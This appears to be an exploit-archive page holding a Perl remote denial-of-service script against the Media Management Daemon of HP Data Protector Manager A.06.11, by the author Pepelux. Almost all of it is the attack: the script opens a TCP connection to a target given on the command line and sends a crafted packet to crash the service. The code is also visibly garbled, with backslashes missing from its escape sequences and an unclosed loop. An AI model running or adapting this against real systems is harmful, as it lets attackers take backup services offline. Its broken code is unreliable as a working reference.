[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : HP Data Protector Manager A.06.11 MMD NULL Pointer Dereference Denial of Service
# Published : 2010-12-01
# Author : Pepelux
# Previous Title : Apple Directory Services Memory Corruption
# Next Title : Wireshark LDSS Dissector Buffer Overflow Vulnerability
#!/usr/bin/perl
# =================================
# HP Data Protector Manager A.06.11
# =================================
#
# Bug: NULL Pointer Dereference Remote Denial of Service Vulnerability
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
#
# Date: 30/11/2010
# Author: Pepelux - pepelux[AT]enye-sec[DOT]com
# http://www.enye-sec.org - http://www.pepelux.org
#
# Service: mmd.exe (Media Management Daemon)
# Vulnerable file: Program FilesOmniBackbinMSVCR71.dll
#
# MSVCR71.dll:7c350428 mov ax,[edx] caused access violation
# when attempting to read from 0x00000000
#
# Tested on Windows XP SP2
use IO::Socket;
my ($server, $port) = @ARGV ;
unless($ARGV[0] || $ARGV[1]) {
print "Usage: perl $0 <host> [port]n";
print "tdefault port = 1026nn";
exit 1;
}
$port = 1026 if ($ARGV[0]);
my $buf = "x00x00x00x43xfexffx00x32x00x36x00x37x00x00x41x41".
"x00x31x00x00x42x42x00x31x00x00x43x43x00x31x00x00".
"x44x44x44x44x44x44x44x44x44x44x44x44x44x44x44x44".
"x44x44x44x44x44x44x44x44x44x44x44x44x44x44x44x44".
"xabx7bxdex7cx46x4fx4f";
print "[+] Connecting to $server:$port ...n";
my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.n");
while(1) {
print "[+] Sending malicious packet ...n";
print $sock1 "$buf";
print "n[x] Server crashed!n";
exit;